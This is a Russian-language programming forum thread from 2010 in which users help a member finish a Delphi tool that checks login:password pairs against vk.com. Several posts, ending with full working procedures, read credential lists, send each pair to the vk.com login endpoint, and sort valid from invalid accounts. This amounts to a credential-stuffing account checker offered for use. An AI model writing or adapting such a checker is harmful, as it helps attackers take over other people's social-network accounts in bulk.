[ Delphi / Pascal ] — начинающим: задаем вопросы (архивная - 2015)

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by banned, 6 May 2007.

Thread Status:
Not open for further replies.
  1. Vlad3d

    Vlad3d Elder - Старейшина

    Joined:
    18 Jan 2008
    Messages:
    47
    Likes Received:
    54
    Reputations:
    -1
    например так:
    proverka:=idhttp1.get(lallalalal) //авторизация на сайте
    if pos('выход',proverka)<>0 then
    memo1.Lines.Add(log+':'+pass)
    else
    memo2.Lines.Add(log+':'+pass)
    //вместо выход можно написать logoff если ты авторизуешься на vk.com

    ну как то так
    P.S. писал тут сразу
     
  2. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    Если пасс верный то всё ГУД
    Если пасс не верный, выскакивает ошибка [​IMG]
    В мемо ничего не пишет :(
     
  3. Vlad3d

    Vlad3d Elder - Старейшина

    Joined:
    18 Jan 2008
    Messages:
    47
    Likes Received:
    54
    Reputations:
    -1
    proverka:=idhttp1.get(lallalalal)
    try
    if pos('выход',proverka)<>0 then
    memo1.Lines.Add(log+':'+pass)
    ....
    except
    memo2.Lines.Add(log+':'+pass)
    .....


    так может
     
  4. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    неа, та же ошибка :(
     
  5. AquaKlaster

    AquaKlaster Active Member

    Joined:
    9 Mar 2009
    Messages:
    0
    Likes Received:
    204
    Reputations:
    23
    запусти без дебагера/дельфи
     
  6. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    тоже самое
     
  7. fenixelite

    fenixelite Banned

    Joined:
    7 Feb 2010
    Messages:
    294
    Likes Received:
    56
    Reputations:
    6
    stepashka_,
    кинь полностью код!
     
  8. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    вот
     
  9. HakaR

    HakaR Active Member

    Joined:
    23 Jul 2009
    Messages:
    301
    Likes Received:
    200
    Reputations:
    3
    Вот так попробуй:
    PHP:
    uns := idhttp1.Get('http://vk.com/profile.php');
    if 
    Pos('http://vk.com/profile.php'uns) = 0 then
    memo3
    .lines.add(log ':' pass)
    else
    begin
    memo2
    .lines.add(log ':' pass);
    end;
     
    #6029 HakaR, 27 Apr 2010
    Last edited: 27 Apr 2010
  10. fenixelite

    fenixelite Banned

    Joined:
    7 Feb 2010
    Messages:
    294
    Likes Received:
    56
    Reputations:
    6
    Не много бредовая идея, но работает(то номера мемо проверь)

    PHP:
    procedure TForm3.btn1Click(SenderTObject);
    var
    unss,log,passString;
    begin
    idhttp1
    .HandleRedirects := True;
    log:=copy(memo1.lines[0],1,pos(':',memo1.lines[0])-1);
    pass:=copy(memo1.lines[0],pos(':',memo1.lines[0])+1,20);
    uns:=idhttp1.get('http://login.vk.com/?act=login&email='+log+'&pass='+pass+'&expire=&vk=');
    s:=Copy(uns,Pos('value=',uns)+7,56);
    try
    idhttp1.get('http://vk.com/login.php?op=slogin&redirect=1&expire=0&to=&s='+s);
    uns := idhttp1.Get('http://vk.com/');
    memo3.lines.add(log ':' pass);
    except
     On E
    Exception do begin
      memo2
    .lines.add(log ':' pass);
      
    memo3.Lines.Delete(memo3.Lines.Count);
     
    end;

    end;

    idckmngr1.AddCookie('remixsid='+s'; path=/; ','vk.com');
    idckmngr1.AddCookie('remixchk=5; path=/;','vk.com');
    end;
     
    #6030 fenixelite, 27 Apr 2010
    Last edited: 27 Apr 2010
  11. fenixelite

    fenixelite Banned

    Joined:
    7 Feb 2010
    Messages:
    294
    Likes Received:
    56
    Reputations:
    6
    stepashka_,
    тебе exe'шник кинуть где у меня все работает? :)
    Запускай без дебагера. И проверь номера мемо, мб где то не тот номер!
     
  12. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    Всё гуд заработало!
     
  13. HakaR

    HakaR Active Member

    Joined:
    23 Jul 2009
    Messages:
    301
    Likes Received:
    200
    Reputations:
    3
    Мб капча вылезла и тупо не авторизирует? :confused:
     
  14. SkyLine32

    SkyLine32 Member

    Joined:
    1 Mar 2009
    Messages:
    144
    Likes Received:
    22
    Reputations:
    2
    а можно в WebBrowser парсить определённый участок кода, например:
    с <!-- begin -->
    ...
    до <!-- / end -->
    и выводить в браузер? только сохрание всей страници на хард, потом парсить, потом выводить - не катит.
     
  15. GhostOnline

    GhostOnline Active Member

    Joined:
    20 Dec 2008
    Messages:
    723
    Likes Received:
    110
    Reputations:
    22
    Наврядли. Только если перехватывать пакеты на низком уровне наверное
     
  16. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    Да не всё Ок там :)

    Подскажите можно как то провереный акк удалять из мемо1? после того как он сохранился в мемо2-3
     
  17. TrueBit

    TrueBit Member

    Joined:
    21 Nov 2009
    Messages:
    71
    Likes Received:
    19
    Reputations:
    4
    memo1.lines.delete(0);
    удаляет первую строку
     
    1 person likes this.
  18. GhostOnline

    GhostOnline Active Member

    Joined:
    20 Dec 2008
    Messages:
    723
    Likes Received:
    110
    Reputations:
    22
    Memo2.Lines.Delete(Memo2.Lines.IndexOf(account));
     
    #6038 GhostOnline, 27 Apr 2010
    Last edited: 28 Apr 2010
    1 person likes this.
  19. EndLeSSDre@M

    EndLeSSDre@M Banned

    Joined:
    18 Jul 2009
    Messages:
    142
    Likes Received:
    99
    Reputations:
    -5
    вы тут все извращенцы какие то)))) как можно с помощью pos() определить положение символа в строке???))) для этого используется ansipos()

    PHP:
    procedure TForm1.Button1Click(SenderTObject);
    var
    unss,log,passString;
    begin
    idhttp1
    .HandleRedirects := True;
    while 
    memo1.lines.count-1>=do
    begin
    log
    :=copy(memo1.lines[0],1,AnsiPos(':',memo1.lines[0])-1);
    pass:=copy(memo1.lines[0],AnsiPos(':',memo1.lines[0])+1,length(memo1.lines[0]));
    uns:=idhttp1.get('http://login.vk.com/?act=login&email='+log+'&pass='+pass+'&expire=&vk=');
    s:=Copy(uns,Pos('value=',uns)+7,56);
    try
    idhttp1.get('http://vk.com/login.php?op=slogin&redirect=1&expire=0&to=&s='+s);
    uns := idhttp1.Get('http://vk.com/');
    memo2.lines.add(log ':' pass);
    except
    *On EException do begin
    memo3.lines.add(log ':' pass);
    memo2.Lines.Delete(memo2.Lines.Count);
      
    memo1.Lines.Delete(0);
    end;
    end;
    end.
    вот и весь код господи)))) проверили, добавили, удалили и се! пользуйтесь
     
    #6039 EndLeSSDre@M, 27 Apr 2010
    Last edited: 27 Apr 2010
    1 person likes this.
  20. warkk

    warkk Member

    Joined:
    20 Feb 2009
    Messages:
    139
    Likes Received:
    23
    Reputations:
    0
    Да легко)) Так же как и с AnsiPos

    Какая разница какую функцию использовать?

    В идеале конечно Pos надо юзать когда нужно найти позицию одной строки в другой, но можно использовать и для нахождения определенного символа.

    Это никак не повлияет на результат)))
     
    #6040 warkk, 28 Apr 2010
    Last edited: 28 Apr 2010
    1 person likes this.
Thread Status:
Not open for further replies.